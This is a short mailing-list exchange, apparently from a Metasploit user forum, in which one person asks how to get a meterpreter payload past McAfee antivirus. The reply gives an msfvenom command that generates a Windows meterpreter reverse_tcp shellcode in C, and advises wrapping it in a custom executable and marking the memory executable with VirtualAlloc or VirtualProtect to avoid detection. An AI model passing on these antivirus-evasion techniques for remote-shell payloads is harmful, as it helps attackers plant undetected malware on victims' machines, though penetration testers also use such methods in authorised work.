Re: Yet another AV bypassing question

In short, no it's probably not the DLL. The DLL is not embedded in an
executable that Metasploit generates. Try generating a c version of
ruby msfvenom -p windows/meterpreter/reverse_tcp -f c -e
and create your own exe or modify the source of an existing one to run
that code. You will need to make it executable before it can be
executed as code, look up VirtualAlloc or VirtualProtect. There are
plenty of other ways, but that's my favorite. See http://j.mp/mjyb8e
if you want to see what goes into an MSF generated exe.

As many of you, I'm trying to bypass my AV but I'm not lucky with the
metasploit encoders anymore.
My Question is simple (but I don't know about the answer yet).
Does modifying and recompiling meterpreter source code (with spread
dummy instructions and a lot of try-and-error attempt) could help me ?
or the main problem is not in meterpreter DLL but somewhere else ?
Actually I got a try modifying the source code of meterpreter (using
Visual Studio Express), but it didn't change anything. Therefore, I'm
wondering if it's just a matter of tries or if I'm wasting my time.
Am I looking in the right direction ?
For information, I'm playing with McAfee 8.X right now.
Thank you very much for your lights. Any other tips are welcome.
